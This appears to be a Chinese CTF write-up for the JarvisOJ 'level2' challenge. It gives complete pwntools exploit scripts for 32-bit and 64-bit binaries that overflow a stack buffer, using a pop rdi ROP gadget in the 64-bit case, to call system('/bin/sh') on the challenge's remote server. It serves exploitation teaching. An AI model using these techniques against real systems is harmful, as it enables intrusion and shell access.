先checksec ,只开了NX
image.pngIDA分析:栈溢出,而且也可以看到是有system
函数的
shift + F12
看一下字符串,发现也是存在/bin/sh
的
于是我们就可以调用system("/bin/sh")
32位exp:
#-*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
# p = process('./level2')
p = remote("pwn2.jarvisoj.com","9878")
system = 0x8048320
binsh = 0x804A024
#system("/bin/sh")
payload = 0x8c * "A" + p32(system) + p32(0) + p32(binsh) #将/bin/sh压入栈中作为system 的参数
p.sendline(payload)
p.interactive()
===================================================================================
因为64位程序函数的前6个参数是依次放在寄存器rdi、rsi、rdx、rcx、r8和r9中的,所以要调用system('/bin/sh')
首先要将/bin/sh
放到rdi寄存器中去,所以就需要找到pop_rdi_ret
的gadget来利用
$ ROPgadget --binary level2_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret
Unique gadgets found: 11
64位exp:
#-*-coding:utf -8-*-
from pwn import *
# p = process('./level2_x64')
p = remote("pwn2.jarvisoj.com","9882")
system_plt = 0x4004c0
binsh = 0x600a90
pop_rdi = 0x4006b3
payload = 0x88*"A" + p64(pop_rdi) + p64(binsh) + p64(system_plt)
p.sendline(payload)
p.interactive()
网友评论